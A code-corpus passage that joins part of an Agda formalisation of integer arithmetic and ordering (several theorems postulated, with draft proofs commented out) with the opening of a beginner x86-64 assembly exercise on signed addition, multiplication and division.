Surjective.proof [−]-surjectivity {y} = [∃]-intro (− y) ⦃ involution(−_) ⦄
instance
[−]-bijectivity : Bijective(−_)
[−]-bijectivity = injective-surjective-to-bijective(−_)
instance
abs-idempotent : Idempotent(abs)
Idempotent.proof abs-idempotent {+ₙ x} = [≡]-intro
Idempotent.proof abs-idempotent {−𝐒ₙ x} = [≡]-intro
abs-injective-zero : ∀{n} → (abs(n) ≡ 𝟎) → (n ≡ 𝟎)
abs-injective-zero {𝟎} [≡]-intro = [≡]-intro
abs-[−] : ∀{n} → (abs(− n) ≡ abs(n))
abs-[−] {𝟎} = [≡]-intro
abs-[−] {+𝐒ₙ(_)} = [≡]-intro
abs-[−] {−𝐒ₙ(_)} = [≡]-intro
abs-preserving : ∀{x} → (abs(x) ≡ +ₙ(absₙ(x)))
abs-preserving {𝟎} = [≡]-intro
abs-preserving {+𝐒ₙ(_)} = [≡]-intro
abs-preserving {−𝐒ₙ(_)} = [≡]-intro
absₙ-zero : ∀{n} → (absₙ(n) ≡ ℕ.𝟎) → (n ≡ 𝟎)
absₙ-zero {𝟎} ([≡]-intro) = [≡]-intro
[+][𝐒]-stepₗ : ∀{x y} → (𝐒(x) + y ≡ 𝐒(x + y))
[+][𝐒]-stepₗ {+ₙ x} {+ₙ y} = [≡]-intro
[+][𝐒]-stepₗ {+ₙ ℕ.𝟎 } {−𝐒ₙ ℕ.𝟎 } = [≡]-intro
[+][𝐒]-stepₗ {+ₙ ℕ.𝟎 } {−𝐒ₙ ℕ.𝐒(_)} = [≡]-intro
[+][𝐒]-stepₗ {+ₙ ℕ.𝐒(_)} {−𝐒ₙ ℕ.𝟎 } = [≡]-intro
[+][𝐒]-stepₗ {+ₙ ℕ.𝐒(x)} {−𝐒ₙ ℕ.𝐒(y)} = [−ₙ][𝐒]-step{x}{ℕ.𝐒(y)}
[+][𝐒]-stepₗ {−𝐒ₙ ℕ.𝟎 } {+ₙ ℕ.𝟎 } = [≡]-intro
[+][𝐒]-stepₗ {−𝐒ₙ ℕ.𝐒(_)} {+ₙ ℕ.𝟎 } = [≡]-intro
[+][𝐒]-stepₗ {−𝐒ₙ ℕ.𝟎 } {+ₙ ℕ.𝐒(_)} = [≡]-intro
[+][𝐒]-stepₗ {−𝐒ₙ ℕ.𝐒(y)} {+ₙ ℕ.𝐒(x)} = [−ₙ][𝐒]-step{x}{ℕ.𝐒(y)}
[+][𝐒]-stepₗ {−𝐒ₙ ℕ.𝟎 } {−𝐒ₙ ℕ.𝟎 } = [≡]-intro
[+][𝐒]-stepₗ {−𝐒ₙ ℕ.𝐒(_)} {−𝐒ₙ ℕ.𝟎 } = [≡]-intro
[+][𝐒]-stepₗ {−𝐒ₙ ℕ.𝟎 } {−𝐒ₙ ℕ.𝐒(_)} = [≡]-intro
[+][𝐒]-stepₗ {−𝐒ₙ ℕ.𝐒(y)} {−𝐒ₙ ℕ.𝐒(x)} = [≡]-intro
instance
[𝐒]-preserving-[+]ₗ : ∀{y} → Preserving₁(𝐒) (_+ y)(_+ y)
Preserving.proof ([𝐒]-preserving-[+]ₗ {y}) {x} = symmetry(_≡_) ([+][𝐒]-stepₗ {x}{y})
[+][𝐒]-stepᵣ : ∀{x y} → (x + 𝐒(y) ≡ 𝐒(x + y))
[+][𝐒]-stepᵣ {+ₙ x} {+ₙ y} = [≡]-intro
[+][𝐒]-stepᵣ {+ₙ ℕ.𝟎} {−𝐒ₙ ℕ.𝟎} = [≡]-intro
[+][𝐒]-stepᵣ {+ₙ ℕ.𝟎} {−𝐒ₙ ℕ.𝐒 x} = [≡]-intro
[+][𝐒]-stepᵣ {+ₙ ℕ.𝐒 x} {−𝐒ₙ ℕ.𝟎} = [≡]-intro
[+][𝐒]-stepᵣ {+ₙ ℕ.𝐒 x} {−𝐒ₙ ℕ.𝐒 y} = [+][𝐒]-stepᵣ {−𝐒ₙ y}{+ₙ x}
[+][𝐒]-stepᵣ {−𝐒ₙ ℕ.𝟎} {+ₙ ℕ.𝟎} = [≡]-intro
[+][𝐒]-stepᵣ {−𝐒ₙ ℕ.𝟎} {+ₙ ℕ.𝐒 y} = [≡]-intro
[+][𝐒]-stepᵣ {−𝐒ₙ ℕ.𝐒 x} {+ₙ ℕ.𝟎} = [≡]-intro
[+][𝐒]-stepᵣ {−𝐒ₙ ℕ.𝐒 x} {+ₙ ℕ.𝐒 y} = [+][𝐒]-stepᵣ {−𝐒ₙ x}{+ₙ y}
[+][𝐒]-stepᵣ {−𝐒ₙ ℕ.𝟎} {−𝐒ₙ ℕ.𝟎} = [≡]-intro
[+][𝐒]-stepᵣ {−𝐒ₙ ℕ.𝐒 x} {−𝐒ₙ ℕ.𝟎} = [≡]-intro
[+][𝐒]-stepᵣ {−𝐒ₙ ℕ.𝟎} {−𝐒ₙ ℕ.𝐒 y} = [≡]-intro
[+][𝐒]-stepᵣ {−𝐒ₙ ℕ.𝐒 x} {−𝐒ₙ ℕ.𝐒 y} = [≡]-intro
instance
[𝐒]-preserving-[+]ᵣ : ∀{x} → Preserving₁(𝐒) (_+_ x)(_+_ x)
Preserving.proof ([𝐒]-preserving-[+]ᵣ {x}) {y} = symmetry(_≡_) ([+][𝐒]-stepᵣ {x}{y})
[+][𝐏]-stepₗ : ∀{x y} → (𝐏(x) + y ≡ 𝐏(x + y))
[+][𝐏]-stepₗ {x}{y} =
𝐏(x) + y 🝖[ _≡_ ]-[ congruence₂(_+_) (congruence₁(𝐏) (involution(−_) {x})) (involution(−_) {y}) ]-sym
𝐏(−(− x)) + (−(− y)) 🝖[ _≡_ ]-[ congruence₂ₗ(_+_)(−(− y)) (preserving₁(−_)(𝐒)(𝐏) {− x}) ]-sym
(− 𝐒(− x)) + (−(− y)) 🝖[ _≡_ ]-[ preserving₂(−_)(_+_)(_+_) {𝐒(− x)}{− y} ]-sym
−(𝐒(− x) + (− y)) 🝖[ _≡_ ]-[ congruence₁(−_) ([+][𝐒]-stepₗ {− x}{− y}) ]
−(𝐒((− x) + (− y))) 🝖[ _≡_ ]-[ preserving₁(−_)(𝐒)(𝐏) ]
𝐏(−((− x) + (− y))) 🝖[ _≡_ ]-[ congruence₁(𝐏) (preserving₂(−_)(_+_)(_+_) {− x}{− y}) ]
𝐏(((−(− x)) + (−(− y)))) 🝖[ _≡_ ]-[ congruence₁(𝐏) (congruence₂(_+_) (involution(−_) {x}) (involution(−_) {y})) ]
𝐏(x + y) 🝖-end
instance
[𝐏]-preserving-[+]ₗ : ∀{y} → Preserving₁(𝐏) (_+ y)(_+ y)
Preserving.proof ([𝐏]-preserving-[+]ₗ {y}) {x} = symmetry(_≡_) ([+][𝐏]-stepₗ {x}{y})
[+][𝐏]-stepᵣ : ∀{x y} → (x + 𝐏(y) ≡ 𝐏(x + y))
[+][𝐏]-stepᵣ {x}{y} =
x + 𝐏(y) 🝖[ _≡_ ]-[ congruence₂(_+_) (involution(−_) {x}) (congruence₁(𝐏) (involution(−_) {y})) ]-sym
(−(− x)) + 𝐏(−(− y)) 🝖[ _≡_ ]-[ congruence₂ᵣ(_+_)(−(− x)) (preserving₁(−_)(𝐒)(𝐏) {− y}) ]-sym
(−(− x)) + (− 𝐒(− y)) 🝖[ _≡_ ]-[ preserving₂(−_)(_+_)(_+_) {− x}{𝐒(− y)} ]-sym
−((− x) + 𝐒(− y)) 🝖[ _≡_ ]-[ congruence₁(−_) ([+][𝐒]-stepᵣ {− x}{− y}) ]
−(𝐒((− x) + (− y))) 🝖[ _≡_ ]-[ preserving₁(−_)(𝐒)(𝐏) ]
𝐏(−((− x) + (− y))) 🝖[ _≡_ ]-[ congruence₁(𝐏) (preserving₂(−_)(_+_)(_+_) {− x}{− y}) ]
𝐏(((−(− x)) + (−(− y)))) 🝖[ _≡_ ]-[ congruence₁(𝐏) (congruence₂(_+_) (involution(−_) {x}) (involution(−_) {y})) ]
𝐏(x + y) 🝖-end
instance
[𝐏]-preserving-[+]ᵣ : ∀{x} → Preserving₁(𝐏) (_+_ x)(_+_ x)
Preserving.proof ([𝐏]-preserving-[+]ᵣ {x}) {y} = symmetry(_≡_) ([+][𝐏]-stepᵣ {x}{y})
[−]-of-[+𝐒ₙ] : ∀{x y} → (+𝐒ₙ x) − (+𝐒ₙ y) ≡ (+ₙ x) − (+ₙ y)
[−]-of-[+𝐒ₙ] {y = ℕ.𝟎} = [≡]-intro
[−]-of-[+𝐒ₙ] {y = ℕ.𝐒 _} = [≡]-intro
[+ₙ][−₀][−]-preserving : ∀{x y} → (x ℕ.≥ y) → ((+ₙ(x ℕ.−₀ y)) ≡ ((+ₙ x) − (+ₙ y)))
[+ₙ][−₀][−]-preserving ℕ.min = [≡]-intro
[+ₙ][−₀][−]-preserving {ℕ.𝐒 x}{ℕ.𝐒 y} (ℕ.succ p) = [+ₙ][−₀][−]-preserving {x}{y} p 🝖 symmetry(_≡_) ([−]-of-[+𝐒ₙ] {x}{y})
[−ₙ]-on-[+]ₗ-redundancy : ∀{a b c} → ((a ℕ.+ b) −ₙ (a ℕ.+ c) ≡ b −ₙ c)
[−ₙ]-on-[+]ₗ-redundancy{ℕ.𝟎} {b}{c} = [≡]-intro
[−ₙ]-on-[+]ₗ-redundancy{ℕ.𝐒 a}{b}{c} = [−ₙ]-on-[+]ₗ-redundancy{a}{b}{c}
instance
[+]-associativity : Associativity(_+_)
[+]-associativity = intro(\{x y z} → p{x}{y}{z}) where
postulate p : Names.Associativity(_+_)
{-p {x} {y} {𝟎} =
(x + y) + 𝟎 🝖[ _≡_ ]-[ identityᵣ(_+_)(𝟎) ]
x + y 🝖[ _≡_ ]-[ congruence₂ᵣ(_+_)(x) (identityᵣ(_+_)(𝟎)) ]-sym
x + (y + 𝟎) 🝖-end
p {x} {y} {+𝐒ₙ z} =
(x + y) + (+𝐒ₙ(z)) 🝖[ _≡_ ]-[]
(x + y) + 𝐒(+ₙ(z)) 🝖[ _≡_ ]-[ [+][𝐒]-stepᵣ {x + y}{+ₙ(z)} ]
𝐒((x + y) + (+ₙ(z))) 🝖[ _≡_ ]-[ congruence₁(𝐒) (p{x}{y}{+ₙ z}) ]
𝐒(x + (y + (+ₙ(z)))) 🝖[ _≡_ ]-[ [+][𝐒]-stepᵣ {x}{y + (+ₙ z)} ]-sym
x + 𝐒(y + (+ₙ(z))) 🝖[ _≡_ ]-[ congruence₂ᵣ(_+_)(x) ([+][𝐒]-stepᵣ {y}{+ₙ z}) ]-sym
x + (y + 𝐒(+ₙ(z))) 🝖[ _≡_ ]-[]
x + (y + (+𝐒ₙ(z))) 🝖-end
p {x} {y} {−𝐒ₙ z} =
(x + y) + (−𝐒ₙ(z)) 🝖[ _≡_ ]-[ congruence₂ᵣ(_+_)(x + y) [𝐏]-negative ]-sym
(x + y) + 𝐏(−ₙ(z)) 🝖[ _≡_ ]-[ [+][𝐏]-stepᵣ {x + y}{−ₙ(z)} ]
𝐏((x + y) + (−ₙ(z))) 🝖[ _≡_ ]-[ congruence₁(𝐏) (p{x}{y}{−ₙ z}) ]
𝐏(x + (y + (−ₙ(z)))) 🝖[ _≡_ ]-[ [+][𝐏]-stepᵣ {x}{y + (−ₙ z)} ]-sym
x + 𝐏(y + (−ₙ(z))) 🝖[ _≡_ ]-[ congruence₂ᵣ(_+_)(x) ([+][𝐏]-stepᵣ {y}{−ₙ z}) ]-sym
x + (y + 𝐏(−ₙ(z))) 🝖[ _≡_ ]-[ congruence₂ᵣ(_+_)(x) (congruence₂ᵣ(_+_)(y) [𝐏]-negative) ]
x + (y + (−𝐒ₙ(z))) 🝖-end
-}
instance
[+]-monoid : Monoid(_+_)
[+]-monoid = intro
instance
[+]-group : Group(_+_)
[+]-group = intro
instance
[+]-commutative-group : CommutativeGroup(_+_)
[+]-commutative-group = intro
absₙ-of-[⋅] : ∀{x y} → (absₙ(x ⋅ y) ≡ absₙ(x) ℕ.⋅ absₙ(y))
absₙ-of-[⋅] {+ₙ ℕ.𝟎} {+ₙ ℕ.𝟎} = [≡]-intro
absₙ-of-[⋅] {+ₙ ℕ.𝟎} {+ₙ ℕ.𝐒 y} = [≡]-intro
absₙ-of-[⋅] {+ₙ ℕ.𝐒 x} {+ₙ ℕ.𝟎} = [≡]-intro
absₙ-of-[⋅] {+ₙ ℕ.𝐒 x} {+ₙ ℕ.𝐒 y} = [≡]-intro
absₙ-of-[⋅] {−𝐒ₙ x} {−𝐒ₙ y} = [≡]-intro
absₙ-of-[⋅] {+ₙ ℕ.𝟎} {−𝐒ₙ ℕ.𝟎} = [≡]-intro
absₙ-of-[⋅] {+ₙ ℕ.𝟎} {−𝐒ₙ ℕ.𝐒 y} = [≡]-intro
absₙ-of-[⋅] {+ₙ ℕ.𝐒 x} {−𝐒ₙ ℕ.𝟎} = [≡]-intro
absₙ-of-[⋅] {+ₙ ℕ.𝐒 x} {−𝐒ₙ ℕ.𝐒 y} = [≡]-intro
absₙ-of-[⋅] {−𝐒ₙ ℕ.𝟎} {+ₙ ℕ.𝟎} = [≡]-intro
absₙ-of-[⋅] {−𝐒ₙ ℕ.𝟎} {+ₙ ℕ.𝐒 y} = [≡]-intro
absₙ-of-[⋅] {−𝐒ₙ ℕ.𝐒 x} {+ₙ ℕ.𝟎} = [≡]-intro
absₙ-of-[⋅] {−𝐒ₙ ℕ.𝐒 x} {+ₙ ℕ.𝐒 y} = [≡]-intro
sign-of-[⋅] : ∀{x y} → (sign0(x ⋅ y) ≡ sign0(x) Sign.⨯ sign0(y))
sign-of-[⋅] {+ₙ ℕ.𝟎} {+ₙ ℕ.𝟎} = [≡]-intro
sign-of-[⋅] {+ₙ ℕ.𝟎} {+ₙ ℕ.𝐒 y} = [≡]-intro
sign-of-[⋅] {+ₙ ℕ.𝐒 x} {+ₙ ℕ.𝟎} = [≡]-intro
sign-of-[⋅] {+ₙ ℕ.𝐒 x} {+ₙ ℕ.𝐒 y} = [≡]-intro
sign-of-[⋅] {−𝐒ₙ x} {−𝐒ₙ y} = [≡]-intro
sign-of-[⋅] {+ₙ ℕ.𝟎} {−𝐒ₙ ℕ.𝟎} = [≡]-intro
sign-of-[⋅] {+ₙ ℕ.𝟎} {−𝐒ₙ ℕ.𝐒 y} = [≡]-intro
sign-of-[⋅] {+ₙ ℕ.𝐒 x} {−𝐒ₙ ℕ.𝟎} = [≡]-intro
sign-of-[⋅] {+ₙ ℕ.𝐒 x} {−𝐒ₙ ℕ.𝐒 y} = [≡]-intro
sign-of-[⋅] {−𝐒ₙ ℕ.𝟎} {+ₙ ℕ.𝟎} = [≡]-intro
sign-of-[⋅] {−𝐒ₙ ℕ.𝟎} {+ₙ ℕ.𝐒 y} = [≡]-intro
sign-of-[⋅] {−𝐒ₙ ℕ.𝐒 x} {+ₙ ℕ.𝟎} = [≡]-intro
sign-of-[⋅] {−𝐒ₙ ℕ.𝐒 x} {+ₙ ℕ.𝐒 y} = [≡]-intro
signed-inverse : ∀{x} → (signed0 (sign0 x) (absₙ x) ≡ x)
signed-inverse {+𝐒ₙ _} = [≡]-intro
signed-inverse {𝟎} = [≡]-intro
signed-inverse {−𝐒ₙ _} = [≡]-intro
sign0-inverse : ∀{x}{y} → (sign0(signed0 x (ℕ.𝐒(y))) ≡ x)
sign0-inverse {Sign.➕} {y} = [≡]-intro
sign0-inverse {Sign.𝟎} {y} = [≡]-intro
sign0-inverse {Sign.➖} {y} = [≡]-intro
absₙ-inverse : ∀{x}{y} → (x ≢ Sign.𝟎) → (absₙ(signed0 x y) ≡ y)
absₙ-inverse {Sign.➕} {ℕ.𝟎} _ = [≡]-intro
absₙ-inverse {Sign.➕} {ℕ.𝐒 y} _ = [≡]-intro
absₙ-inverse {Sign.➖} {ℕ.𝟎} _ = [≡]-intro
absₙ-inverse {Sign.➖} {ℕ.𝐒 y} _ = [≡]-intro
absₙ-inverse {Sign.𝟎} {ℕ.𝟎} _ = [≡]-intro
absₙ-inverse {Sign.𝟎} {ℕ.𝐒 y} p with () ← p [≡]-intro
absₙ-of-[−ₙ] : ∀{x} → (absₙ(−ₙ x) ≡ x)
absₙ-of-[−ₙ] {ℕ.𝟎} = [≡]-intro
absₙ-of-[−ₙ] {ℕ.𝐒 x} = [≡]-intro
[⋅]-equality : ∀{x y z} → (x ⋅ y ≡ z) ↔ (sign0(x) Sign.⨯ sign0(y) ≡ sign0 z) ∧ (absₙ(x) ℕ.⋅ absₙ(y) ≡ absₙ(z))
[⋅]-equality {x}{y}{z} = [↔]-intro (Tuple.uncurry l) r where
l : ∀{x y z} → (sign0(x) Sign.⨯ sign0(y) ≡ sign0 z) → (absₙ(x) ℕ.⋅ absₙ(y) ≡ absₙ(z)) → (x ⋅ y ≡ z)
l{x}{y}{z} p q = congruence₂(signed0) p q 🝖 signed-inverse
r : ∀{x y z} → (x ⋅ y ≡ z) → (sign0(x) Sign.⨯ sign0(y) ≡ sign0 z) ∧ (absₙ(x) ℕ.⋅ absₙ(y) ≡ absₙ(z))
r{x}{y}{z} p = [∧]-intro (symmetry(_≡_) (preserving₂(sign0)(_⋅_)(Sign._⨯_)) 🝖 congruence₁(sign0) p) (symmetry(_≡_) (preserving₂(absₙ)(_⋅_)(ℕ._⋅_) {x}{y}) 🝖 congruence₁(absₙ) p)
instance
[⋅]-identityₗ : Identityₗ(_⋅_)(𝟏)
Identityₗ.proof [⋅]-identityₗ {x} with sign0 x | x
... | Sign.➕ | 𝟎 = [≡]-intro
... | Sign.➕ | +𝐒ₙ _ = [≡]-intro
... | Sign.➕ | −𝐒ₙ _ = [≡]-intro
... | Sign.𝟎 | 𝟎 = [≡]-intro
... | Sign.𝟎 | +𝐒ₙ _ = [≡]-intro
... | Sign.𝟎 | −𝐒ₙ _ = [≡]-intro
... | Sign.➖ | 𝟎 = [≡]-intro
... | Sign.➖ | +𝐒ₙ _ = [≡]-intro
... | Sign.➖ | −𝐒ₙ _ = [≡]-intro
instance
[⋅]-identityᵣ : Identityᵣ(_⋅_)(𝟏)
Identityᵣ.proof [⋅]-identityᵣ {x} with sign0 x | x
... | Sign.➕ | 𝟎 = [≡]-intro
... | Sign.➕ | +𝐒ₙ _ = [≡]-intro
... | Sign.➕ | −𝐒ₙ _ = [≡]-intro
... | Sign.𝟎 | 𝟎 = [≡]-intro
... | Sign.𝟎 | +𝐒ₙ _ = [≡]-intro
... | Sign.𝟎 | −𝐒ₙ _ = [≡]-intro
... | Sign.➖ | 𝟎 = [≡]-intro
... | Sign.➖ | +𝐒ₙ _ = [≡]-intro
... | Sign.➖ | −𝐒ₙ _ = [≡]-intro
instance
[⋅]-commutativity : Commutativity(_⋅_)
Commutativity.proof [⋅]-commutativity {x}{y} = congruence₂(signed0) (commutativity(Sign._⨯_)) (commutativity(ℕ._⋅_) {absₙ x}{absₙ y})
instance
postulate [⋅]-associativity : Associativity(_⋅_)
{-Associativity.proof [⋅]-associativity {x}{y}{z} =
congruence₂(signed0)
(congruence₂ₗ(Sign._⨯_)(sign0 z) sign0-inverse 🝖 associativity(Sign._⨯_) 🝖 symmetry(_≡_) (congruence₂ᵣ(Sign._⨯_)(sign0(x)) (sign-of-[⋅] {y}{z})))
(congruence₂ₗ(ℕ._⋅_) (absₙ(z)) (absₙ-inverse{sign0(x) Sign.⨯ sign0(y)}{absₙ(x) ℕ.⋅ absₙ(y)}) 🝖 associativity(ℕ._⋅_){absₙ x}{absₙ y}{absₙ z} 🝖 symmetry(_≡_) (congruence₂ᵣ(ℕ._⋅_) (absₙ (x)) (absₙ-of-[⋅] {y}{z})))
-}
instance
postulate [⋅][+]-distributivityₗ : Distributivityₗ(_⋅_)(_+_)
{-[⋅][+]-distributivityₗ = intro p where
p : Names.Distributivityₗ(_⋅_)(_+_)
p {+ₙ ℕ.𝟎} {+ₙ ℕ.𝟎} {+ₙ ℕ.𝟎} = [≡]-intro
p {+ₙ ℕ.𝟎} {+ₙ ℕ.𝟎} {+ₙ ℕ.𝐒 z} = [≡]-intro
p {+ₙ ℕ.𝟎} {+ₙ ℕ.𝐒 y} {+ₙ ℕ.𝟎} = [≡]-intro
p {+ₙ ℕ.𝟎} {+ₙ ℕ.𝐒 y} {+ₙ ℕ.𝐒 z} = [≡]-intro
p {+ₙ ℕ.𝐒 x} {+ₙ ℕ.𝟎} {+ₙ ℕ.𝟎} = [≡]-intro
p {+ₙ ℕ.𝐒 x} {+ₙ ℕ.𝟎} {+ₙ ℕ.𝐒 z} = [≡]-intro
p {+ₙ ℕ.𝐒 x} {+ₙ ℕ.𝐒 y} {+ₙ ℕ.𝟎} = [≡]-intro
p {+ₙ ℕ.𝐒 x} {+ₙ ℕ.𝐒 y} {+ₙ ℕ.𝐒 z} = {!!}
p {+ₙ ℕ.𝟎} {+ₙ ℕ.𝟎} {−𝐒ₙ z} = [≡]-intro
p {+ₙ ℕ.𝟎} {+ₙ ℕ.𝐒 y} {−𝐒ₙ z} = {!!}
p {+ₙ ℕ.𝐒 x} {+ₙ ℕ.𝟎} {−𝐒ₙ z} = [≡]-intro
p {+ₙ ℕ.𝐒 x} {+ₙ ℕ.𝐒 y} {−𝐒ₙ z} = {!!}
p {+ₙ ℕ.𝟎} {−𝐒ₙ y} {+ₙ ℕ.𝟎} = [≡]-intro
p {+ₙ ℕ.𝟎} {−𝐒ₙ y} {+ₙ ℕ.𝐒 z} = {!!}
p {+ₙ ℕ.𝐒 x} {−𝐒ₙ y} {+ₙ ℕ.𝟎} = [≡]-intro
p {+ₙ ℕ.𝐒 x} {−𝐒ₙ y} {+ₙ ℕ.𝐒 z} = {!!}
p {+ₙ ℕ.𝟎} {−𝐒ₙ y} {−𝐒ₙ z} = [≡]-intro
p {+ₙ ℕ.𝐒 x} {−𝐒ₙ y} {−𝐒ₙ z} = {!!}
p {−𝐒ₙ x} {+ₙ ℕ.𝟎} {+ₙ ℕ.𝟎} = [≡]-intro
p {−𝐒ₙ x} {+ₙ ℕ.𝟎} {+ₙ ℕ.𝐒 z} = [≡]-intro
p {−𝐒ₙ x} {+ₙ ℕ.𝐒 y} {+ₙ ℕ.𝟎} = [≡]-intro
p {−𝐒ₙ x} {+ₙ ℕ.𝐒 y} {+ₙ ℕ.𝐒 z} = {!!}
p {−𝐒ₙ x} {+ₙ ℕ.𝟎} {−𝐒ₙ z} = [≡]-intro
p {−𝐒ₙ x} {+ₙ ℕ.𝐒 y} {−𝐒ₙ z} = {!!}
p {−𝐒ₙ x} {−𝐒ₙ y} {+ₙ ℕ.𝟎} = [≡]-intro
p {−𝐒ₙ x} {−𝐒ₙ y} {+ₙ ℕ.𝐒 z} = {!!}
p {−𝐒ₙ x} {−𝐒ₙ y} {−𝐒ₙ z} = {!!}-}
{-
x ⋅ (y + z) 🝖[ _≡_ ]-[]
signed0 ((sign0 x) Sign.⨯ (sign0(y + z))) ((absₙ x) ℕ.⋅ (absₙ(y + z))) 🝖[ _≡_ ]-[ {!congruence₂(signed0) ? ?!} ]
signed0 ((sign0 x) Sign.⨯ sign0(y + z)) ((absₙ x) ℕ.⋅ (absₙ(y + z))) 🝖[ _≡_ ]-[ {!!} ]
(signed0 ((sign0 x) Sign.⨯ (sign0 y)) ((absₙ x) ℕ.⋅ (absₙ y))) + (signed0 ((sign0 x) Sign.⨯ (sign0 z)) ((absₙ x) ℕ.⋅ (absₙ z))) 🝖[ _≡_ ]-[]
(x ⋅ y) + (x ⋅ z) 🝖-end
where
sign0-proof : ∀{x y z} → ((sign0 x) Sign.⨯ sign0(y + z) ≡ (sign0(x) + sign0(z)) Sign.⨯ (sign0(x) + sign0(z)))
-}
instance
postulate [⋅][+]-distributivityᵣ : Distributivityᵣ(_⋅_)(_+_)
instance
postulate [⋅][−]-distributivityₗ : Distributivityₗ(_⋅_)(_−_)
instance
postulate [⋅][−]-distributivityᵣ : Distributivityᵣ(_⋅_)(_−_)
instance
[+][⋅]-rng : Rng(_+_)(_⋅_)
[+][⋅]-rng = record{}
instance
[+][⋅]-ring-unity : Unity(_+_)(_⋅_)
Unity.[⋅]-identity-existence [+][⋅]-ring-unity = [∃]-intro 𝟏 ⦃ intro ⦄
instance
[+][⋅]-ring : Ring(_+_)(_⋅_)
[+][⋅]-ring = record{}
import Numeral.Natural.Relation.Order as ℕ
import Numeral.Natural.Relation.Order.Proofs as ℕ
import Structure.Relator.Ordering as Structure
data _≤_ : ℤ → ℤ → Type{Lvl.𝟎} where
pos : ∀{a b} → (a ℕ.≤ b) → ((+ₙ a) ≤ (+ₙ b))
neg : ∀{a b} → (a ℕ.≥ b) → ((−𝐒ₙ a) ≤ (−𝐒ₙ b))
mix : ∀{a b} → ((−𝐒ₙ a) ≤ (+ₙ b))
instance
[≤]-reflexivity : Reflexivity(_≤_)
Reflexivity.proof [≤]-reflexivity {+ₙ x} = pos (reflexivity(ℕ._≤_))
Reflexivity.proof [≤]-reflexivity {−𝐒ₙ x} = neg (reflexivity(ℕ._≤_))
instance
[≤]-transitivity : Transitivity(_≤_)
Transitivity.proof [≤]-transitivity (pos p) (pos q) = pos(transitivity(ℕ._≤_) p q)
Transitivity.proof [≤]-transitivity (neg p) (neg q) = neg(transitivity(ℕ._≤_) q p)
Transitivity.proof [≤]-transitivity (neg p) mix = mix
Transitivity.proof [≤]-transitivity mix (pos q) = mix
instance
[≤]-antisymmetry : Antisymmetry(_≤_)(_≡_)
Antisymmetry.proof [≤]-antisymmetry (pos {ℕ.𝟎} {ℕ.𝟎} p) (pos q) = [≡]-intro
Antisymmetry.proof [≤]-antisymmetry (neg {ℕ.𝟎} {ℕ.𝟎} p) (neg q) = [≡]-intro
Antisymmetry.proof [≤]-antisymmetry (pos {ℕ.𝐒 a} {ℕ.𝐒 b} p) (pos q) = congruence₁(+ₙ_) (antisymmetry(ℕ._≤_)(_≡_) p q)
Antisymmetry.proof [≤]-antisymmetry (neg {ℕ.𝐒 a} {ℕ.𝐒 b} p) (neg q) = congruence₁(−𝐒ₙ_) (antisymmetry(ℕ._≤_)(_≡_) q p)
instance
[≤]-converseTotal : ConverseTotal(_≤_)
ConverseTotal.proof [≤]-converseTotal {+ₙ x} {+ₙ y} = Either.map pos pos (converseTotal(ℕ._≤_))
ConverseTotal.proof [≤]-converseTotal {+ₙ x} {−𝐒ₙ y} = Either.Right mix
ConverseTotal.proof [≤]-converseTotal {−𝐒ₙ x} {+ₙ y} = Either.Left mix
ConverseTotal.proof [≤]-converseTotal {−𝐒ₙ x} {−𝐒ₙ y} = Either.map neg neg (converseTotal(ℕ._≤_))
instance
[≤]-weakPartialOrder : Structure.Weak.PartialOrder(_≤_)(_≡_)
[≤]-weakPartialOrder = record{}
instance
[≤]-totalOrder : Structure.Weak.TotalOrder(_≤_)(_≡_)
[≤]-totalOrder = record{}
instance
[+][⋅][≤]-orderedRing : Ordered(_+_)(_⋅_)(_≤_)
Ordered.[≤][+]ₗ-preserve [+][⋅][≤]-orderedRing = p where
postulate p : ∀{x y z} → (x ≤ y) → ((x + z) ≤ (y + z))
{-p {+ₙ x} {+ₙ y} {+ₙ z} (pos xy) = pos {!!}
p {−𝐒ₙ x} {−𝐒ₙ y} {−𝐒ₙ z} (neg xy) = neg {!!}
p {+ₙ ℕ.𝟎} {+ₙ ℕ.𝟎} {−𝐒ₙ z} (pos xy) = reflexivity(_≤_)
p {+ₙ ℕ.𝟎} {+ₙ ℕ.𝐒 y} {−𝐒ₙ z} (pos xy) = {!!}
p {+ₙ ℕ.𝐒 x} {+ₙ ℕ.𝐒 y}{−𝐒ₙ z} (pos xy) = {!!}
p {.(−𝐒ₙ _)} {.(+ₙ _)} {+ₙ z} mix = {!!}
p {.(−𝐒ₙ _)} {.(+ₙ _)} {−𝐒ₙ z} mix = {!!}-}
Ordered.[≤][⋅]-zero [+][⋅][≤]-orderedRing = p where
p : ∀{x y} → (𝟎 ≤ x) → (𝟎 ≤ y) → (𝟎 ≤ (x ⋅ y))
p {+ₙ ℕ.𝟎} {+ₙ ℕ.𝟎} (pos px) (pos py) = pos py
p {+ₙ ℕ.𝟎} {+ₙ ℕ.𝐒 y} (pos px) (pos py) = pos px
p {+ₙ ℕ.𝐒 x} {+ₙ ℕ.𝟎} (pos px) (pos py) = pos py
p {+ₙ ℕ.𝐒 x} {+ₙ ℕ.𝐒 y} (pos px) (pos py) = pos ℕ.[≤]-minimum
|
chapter7/Project6.asm | pcooksey/Assembly-x86-64 | 0 | 244408 | ;;;
;;; This is Suggested Project 7.9.2.6
;;; Basically do simple signed addition, subtraction, multiplication, modulo
;;; With signed double-word and quad-word sizes
;;; Pg. 137 for the problem
;;; Pg. 24 for Registers
;;; Pg. 48 for Data Types
SECTION .data
SUCCESS: equ 0 ; Default success value
SYS_EXIT: equ 60 ; Default system exit value
;; Variables used by the project
dNum1: dd -900000
dNum2: dd -350000
dNum3: dd -450000
dNum4: dd -750000
qNum1: dq -700000000000000
;; Answers
dAns1: dd 0 ; dAns1 = dNum1 + dNum2 -1250000
dAns2: dd 0 ; dAns2 = dNum1 + dNum3 -1350000
dAns3: dd 0 ; dAns3 = dNum3 + dNum4 -1200000
dAns6: dd 0 ; dAns6 = dNum1 - dNum2 -550000
dAns7: dd 0 ; dAns7 = dNum1 - dNum3 -450000
dAns8: dd 0 ; dAns8 = dNum2 - dNum4 400000
qAns11: dq 0 ; qAns11 = dNum1 * dNum3 405000000000
qAns12: dq 0 ; qAns12 = dNum2 * dNum2 122500000000
qAns13: dq 0 ; qAns13 = dNum2 * dNum4 262500000000
dAns16: dd 0 ; dAns16 = dNum1 / dNum2 2
dAns17: dd 0 ; dAns17 = dNum3 / dNum4 0
dAns18: dd 0 ; dAns18 = qNum1 / dNum4 933333333
dRem18: dd 0 ; dRem18 = qNum1 % dNum4 -250000
SECTION .text ; Code Section
global _start ; Standard start
_start:
;; dAns1 = dNum1 + dNum2
mov eax, dword [dNum1]
add eax, dword [dNum2]
